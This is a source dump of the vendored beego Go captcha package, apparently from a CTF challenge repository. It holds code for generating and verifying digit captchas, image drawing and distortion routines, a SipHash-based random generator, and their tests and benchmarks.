// template usage // // ``` // {{.Success}} //
      // {{create_captcha}} // //
      // ``` package captcha import ( "fmt" "html/template" "net/http" "path" "strings" "time" "github.com/astaxie/beego" "github.com/astaxie/beego/cache" "github.com/astaxie/beego/context" "github.com/astaxie/beego/logs" "github.com/astaxie/beego/utils" ) var ( defaultChars = []byte{0, 1, 2, 3, 4, 5, 6, 7, 8, 9} ) const ( // default captcha attributes challengeNums = 6 expiration = 600 * time.Second fieldIDName = "captcha_id" fieldCaptchaName = "captcha" cachePrefix = "captcha_" defaultURLPrefix = "/captcha/" ) // Captcha struct type Captcha struct { // beego cache store store cache.Cache // url prefix for captcha image URLPrefix string // specify captcha id input field name FieldIDName string // specify captcha result input field name FieldCaptchaName string // captcha image width and height StdWidth int StdHeight int // captcha chars nums ChallengeNums int // captcha expiration seconds Expiration time.Duration // cache key prefix CachePrefix string } // generate key string func (c *Captcha) key(id string) string { return c.CachePrefix + id } // generate rand chars with default chars func (c *Captcha) genRandChars() []byte { return utils.RandomCreateBytes(c.ChallengeNums, defaultChars...) } // Handler beego filter handler for serve captcha image func (c *Captcha) Handler(ctx *context.Context) { var chars []byte id := path.Base(ctx.Request.RequestURI) if i := strings.Index(id, "."); i != -1 { id = id[:i] } key := c.key(id) if len(ctx.Input.Query("reload")) > 0 { chars = c.genRandChars() if err := c.store.Put(key, chars, c.Expiration); err != nil { ctx.Output.SetStatus(500) ctx.WriteString("captcha reload error") logs.Error("Reload Create Captcha Error:", err) return } } else { if v, ok := c.store.Get(key).([]byte); ok { chars = v } else { ctx.Output.SetStatus(404) ctx.WriteString("captcha not found") return } } img := NewImage(chars, c.StdWidth, c.StdHeight) if _, err := img.WriteTo(ctx.ResponseWriter); err != nil { logs.Error("Write Captcha Image Error:", err) } } // CreateCaptchaHTML template func for output html func (c *Captcha) CreateCaptchaHTML() template.HTML { value, err := c.CreateCaptcha() if err != nil { logs.Error("Create Captcha Error:", err) return "" } // create html return template.HTML(fmt.Sprintf(``+ ``+ ``+ ``, c.FieldIDName, value, c.URLPrefix, value, c.URLPrefix, value)) } // CreateCaptcha create a new captcha id func (c *Captcha) CreateCaptcha() (string, error) { // generate captcha id id := string(utils.RandomCreateBytes(15)) // get the captcha chars chars := c.genRandChars() // save to store if err := c.store.Put(c.key(id), chars, c.Expiration); err != nil { return "", err } return id, nil } // VerifyReq verify from a request func (c *Captcha) VerifyReq(req *http.Request) bool { req.ParseForm() return c.Verify(req.Form.Get(c.FieldIDName), req.Form.Get(c.FieldCaptchaName)) } // Verify direct verify id and challenge string func (c *Captcha) Verify(id string, challenge string) (success bool) { if len(challenge) == 0 || len(id) == 0 { return } var chars []byte key := c.key(id) if v, ok := c.store.Get(key).([]byte); ok { chars = v } else { return } defer func() { // finally remove it c.store.Delete(key) }() if len(chars) != len(challenge) { return } // verify challenge for i, c := range chars { if c != challenge[i]-48 { return } } return true } // NewCaptcha create a new captcha.Captcha func NewCaptcha(urlPrefix string, store cache.Cache) *Captcha { cpt := &Captcha{} cpt.store = store cpt.FieldIDName = fieldIDName cpt.FieldCaptchaName = fieldCaptchaName cpt.ChallengeNums = challengeNums cpt.Expiration = expiration cpt.CachePrefix = cachePrefix cpt.StdWidth = stdWidth cpt.StdHeight = stdHeight if len(urlPrefix) == 0 { urlPrefix = defaultURLPrefix } if urlPrefix[len(urlPrefix)-1] != '/' { urlPrefix += "/" } cpt.URLPrefix = urlPrefix return cpt } // NewWithFilter create a new captcha.Captcha and auto AddFilter for serve captacha image // and add a template func for output html func NewWithFilter(urlPrefix string, store cache.Cache) *Captcha { cpt := NewCaptcha(urlPrefix, store) // create filter for serve captcha image beego.InsertFilter(cpt.URLPrefix+"*", beego.BeforeRouter, cpt.Handler) // add to template func map beego.AddFuncMap("create_captcha", cpt.CreateCaptchaHTML) return cpt } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/image.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package captcha import ( "bytes" "image" "image/color" "image/png" "io" "math" ) const ( fontWidth = 11 fontHeight = 18 blackChar = 1 // Standard width and height of a captcha image. stdWidth = 240 stdHeight = 80 // Maximum absolute skew factor of a single digit. maxSkew = 0.7 // Number of background circles. circleCount = 20 ) var font = [][]byte{ { // 0 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, }, { // 1 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, }, { // 2 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, }, { // 3 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, }, { // 4 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, }, { // 5 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, }, { // 6 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, }, { // 7 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, }, { // 8 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, }, { // 9 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, }, } // Image struct type Image struct { *image.Paletted numWidth int numHeight int dotSize int } var prng = &siprng{} // randIntn returns a pseudorandom non-negative int in range [0, n). func randIntn(n int) int { return prng.Intn(n) } // randInt returns a pseudorandom int in range [from, to]. func randInt(from, to int) int { return prng.Intn(to+1-from) + from } // randFloat returns a pseudorandom float64 in range [from, to]. func randFloat(from, to float64) float64 { return (to-from)*prng.Float64() + from } func randomPalette() color.Palette { p := make([]color.Color, circleCount+1) // Transparent color. p[0] = color.RGBA{0xFF, 0xFF, 0xFF, 0x00} // Primary color. prim := color.RGBA{ uint8(randIntn(129)), uint8(randIntn(129)), uint8(randIntn(129)), 0xFF, } p[1] = prim // Circle colors. for i := 2; i <= circleCount; i++ { p[i] = randomBrightness(prim, 255) } return p } // NewImage returns a new captcha image of the given width and height with the // given digits, where each digit must be in range 0-9. func NewImage(digits []byte, width, height int) *Image { m := new(Image) m.Paletted = image.NewPaletted(image.Rect(0, 0, width, height), randomPalette()) m.calculateSizes(width, height, len(digits)) // Randomly position captcha inside the image. maxx := width - (m.numWidth+m.dotSize)*len(digits) - m.dotSize maxy := height - m.numHeight - m.dotSize*2 var border int if width > height { border = height / 5 } else { border = width / 5 } x := randInt(border, maxx-border) y := randInt(border, maxy-border) // Draw digits. for _, n := range digits { m.drawDigit(font[n], x, y) x += m.numWidth + m.dotSize } // Draw strike-through line. m.strikeThrough() // Apply wave distortion. m.distort(randFloat(5, 10), randFloat(100, 200)) // Fill image with random circles. m.fillWithCircles(circleCount, m.dotSize) return m } // encodedPNG encodes an image to PNG and returns // the result as a byte slice. func (m *Image) encodedPNG() []byte { var buf bytes.Buffer if err := png.Encode(&buf, m.Paletted); err != nil { panic(err.Error()) } return buf.Bytes() } // WriteTo writes captcha image in PNG format into the given writer. func (m *Image) WriteTo(w io.Writer) (int64, error) { n, err := w.Write(m.encodedPNG()) return int64(n), err } func (m *Image) calculateSizes(width, height, ncount int) { // Goal: fit all digits inside the image. var border int if width > height { border = height / 4 } else { border = width / 4 } // Convert everything to floats for calculations. w := float64(width - border*2) h := float64(height - border*2) // fw takes into account 1-dot spacing between digits. fw := float64(fontWidth + 1) fh := float64(fontHeight) nc := float64(ncount) // Calculate the width of a single digit taking into account only the // width of the image. nw := w / nc // Calculate the height of a digit from this width. nh := nw * fh / fw // Digit too high? if nh > h { // Fit digits based on height. nh = h nw = fw / fh * nh } // Calculate dot size. m.dotSize = int(nh / fh) if m.dotSize < 1 { m.dotSize = 1 } // Save everything, making the actual width smaller by 1 dot to account // for spacing between digits. m.numWidth = int(nw) - m.dotSize m.numHeight = int(nh) } func (m *Image) drawHorizLine(fromX, toX, y int, colorIdx uint8) { for x := fromX; x <= toX; x++ { m.SetColorIndex(x, y, colorIdx) } } func (m *Image) drawCircle(x, y, radius int, colorIdx uint8) { f := 1 - radius dfx := 1 dfy := -2 * radius xo := 0 yo := radius m.SetColorIndex(x, y+radius, colorIdx) m.SetColorIndex(x, y-radius, colorIdx) m.drawHorizLine(x-radius, x+radius, y, colorIdx) for xo < yo { if f >= 0 { yo-- dfy += 2 f += dfy } xo++ dfx += 2 f += dfx m.drawHorizLine(x-xo, x+xo, y+yo, colorIdx) m.drawHorizLine(x-xo, x+xo, y-yo, colorIdx) m.drawHorizLine(x-yo, x+yo, y+xo, colorIdx) m.drawHorizLine(x-yo, x+yo, y-xo, colorIdx) } } func (m *Image) fillWithCircles(n, maxradius int) { maxx := m.Bounds().Max.X maxy := m.Bounds().Max.Y for i := 0; i < n; i++ { colorIdx := uint8(randInt(1, circleCount-1)) r := randInt(1, maxradius) m.drawCircle(randInt(r, maxx-r), randInt(r, maxy-r), r, colorIdx) } } func (m *Image) strikeThrough() { maxx := m.Bounds().Max.X maxy := m.Bounds().Max.Y y := randInt(maxy/3, maxy-maxy/3) amplitude := randFloat(5, 20) period := randFloat(80, 180) dx := 2.0 * math.Pi / period for x := 0; x < maxx; x++ { xo := amplitude * math.Cos(float64(y)*dx) yo := amplitude * math.Sin(float64(x)*dx) for yn := 0; yn < m.dotSize; yn++ { r := randInt(0, m.dotSize) m.drawCircle(x+int(xo), y+int(yo)+(yn*m.dotSize), r/2, 1) } } } func (m *Image) drawDigit(digit []byte, x, y int) { skf := randFloat(-maxSkew, maxSkew) xs := float64(x) r := m.dotSize / 2 y += randInt(-r, r) for yo := 0; yo < fontHeight; yo++ { for xo := 0; xo < fontWidth; xo++ { if digit[yo*fontWidth+xo] != blackChar { continue } m.drawCircle(x+xo*m.dotSize, y+yo*m.dotSize, r, 1) } xs += skf x = int(xs) } } func (m *Image) distort(amplude float64, period float64) { w := m.Bounds().Max.X h := m.Bounds().Max.Y oldm := m.Paletted newm := image.NewPaletted(image.Rect(0, 0, w, h), oldm.Palette) dx := 2.0 * math.Pi / period for x := 0; x < w; x++ { for y := 0; y < h; y++ { xo := amplude * math.Sin(float64(y)*dx) yo := amplude * math.Cos(float64(x)*dx) newm.SetColorIndex(x, y, oldm.ColorIndexAt(x+int(xo), y+int(yo))) } } m.Paletted = newm } func randomBrightness(c color.RGBA, max uint8) color.RGBA { minc := min3(c.R, c.G, c.B) maxc := max3(c.R, c.G, c.B) if maxc > max { return c } n := randIntn(int(max-maxc)) - int(minc) return color.RGBA{ uint8(int(c.R) + n), uint8(int(c.G) + n), uint8(int(c.B) + n), c.A, } } func min3(x, y, z uint8) (m uint8) { m = x if y < m { m = y } if z < m { m = z } return } func max3(x, y, z uint8) (m uint8) { m = x if y > m { m = y } if z > m { m = z } return } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/image_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package captcha import ( "testing" "github.com/astaxie/beego/utils" ) type byteCounter struct { n int64 } func (bc *byteCounter) Write(b []byte) (int, error) { bc.n += int64(len(b)) return len(b), nil } func BenchmarkNewImage(b *testing.B) { b.StopTimer() d := utils.RandomCreateBytes(challengeNums, defaultChars...) b.StartTimer() for i := 0; i < b.N; i++ { NewImage(d, stdWidth, stdHeight) } } func BenchmarkImageWriteTo(b *testing.B) { b.StopTimer() d := utils.RandomCreateBytes(challengeNums, defaultChars...) b.StartTimer() counter := &byteCounter{} for i := 0; i < b.N; i++ { img := NewImage(d, stdWidth, stdHeight) img.WriteTo(counter) b.SetBytes(counter.n) counter.n = 0 } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/siprng.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package captcha import ( "crypto/rand" "encoding/binary" "io" "sync" ) // siprng is PRNG based on SipHash-2-4. type siprng struct { mu sync.Mutex k0, k1, ctr uint64 } // siphash implements SipHash-2-4, accepting a uint64 as a message. func siphash(k0, k1, m uint64) uint64 { // Initialization. v0 := k0 ^ 0x736f6d6570736575 v1 := k1 ^ 0x646f72616e646f6d v2 := k0 ^ 0x6c7967656e657261 v3 := k1 ^ 0x7465646279746573 t := uint64(8) << 56 // Compression. v3 ^= m // Round 1. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) // Round 2. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) v0 ^= m // Compress last block. v3 ^= t // Round 1. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) // Round 2. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) v0 ^= t // Finalization. v2 ^= 0xff // Round 1. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) // Round 2. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) // Round 3. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) // Round 4. v0 += v1 v1 = v1<<13 | v1>>(64-13) v1 ^= v0 v0 = v0<<32 | v0>>(64-32) v2 += v3 v3 = v3<<16 | v3>>(64-16) v3 ^= v2 v0 += v3 v3 = v3<<21 | v3>>(64-21) v3 ^= v0 v2 += v1 v1 = v1<<17 | v1>>(64-17) v1 ^= v2 v2 = v2<<32 | v2>>(64-32) return v0 ^ v1 ^ v2 ^ v3 } // rekey sets a new PRNG key, which is read from crypto/rand. func (p *siprng) rekey() { var k [16]byte if _, err := io.ReadFull(rand.Reader, k[:]); err != nil { panic(err.Error()) } p.k0 = binary.LittleEndian.Uint64(k[0:8]) p.k1 = binary.LittleEndian.Uint64(k[8:16]) p.ctr = 1 } // Uint64 returns a new pseudorandom uint64. // It rekeys PRNG on the first call and every 64 MB of generated data. func (p *siprng) Uint64() uint64 { p.mu.Lock() if p.ctr == 0 || p.ctr > 8*1024*1024 { p.rekey() } v := siphash(p.k0, p.k1, p.ctr) p.ctr++ p.mu.Unlock() return v } func (p *siprng) Int63() int64 { return int64(p.Uint64() & 0x7fffffffffffffff) } func (p *siprng) Uint32() uint32 { return uint32(p.Uint64()) } func (p *siprng) Int31() int32 { return int32(p.Uint32() & 0x7fffffff) } func (p *siprng) Intn(n int) int { if n <= 0 { panic("invalid argument to Intn") } if n <= 1<<31-1 { return int(p.Int31n(int32(n))) } return int(p.Int63n(int64(n))) } func (p *siprng) Int63n(n int64) int64 { if n <= 0 { panic("invalid argument to Int63n") } max := int64((1 << 63) - 1 - (1<<63)%uint64(n)) v := p.Int63() for v > max { v = p.Int63() } return v % n } func (p *siprng) Int31n(n int32) int32 { if n <= 0 { panic("invalid argument to Int31n") } max := int32((1 << 31) - 1 - (1<<31)%uint32(n)) v := p.Int31() for v > max { v = p.Int31() } return v % n } func (p *siprng) Float64() float64 { return float64(p.Int63()) / (1 << 63) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/siprng_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package captcha import "testing" func TestSiphash(t *testing.T) { good := uint64(0xe849e8bb6ffe2567) cur := siphash(0, 0, 0) if cur != good { t.Fatalf("siphash: expected %x, got %x", good, cur) } } func BenchmarkSiprng(b *testing.B) { b.SetBytes(8) p := &siprng{} for i := 0; i < b.N; i++ { p.Uint64() } } ================================================ 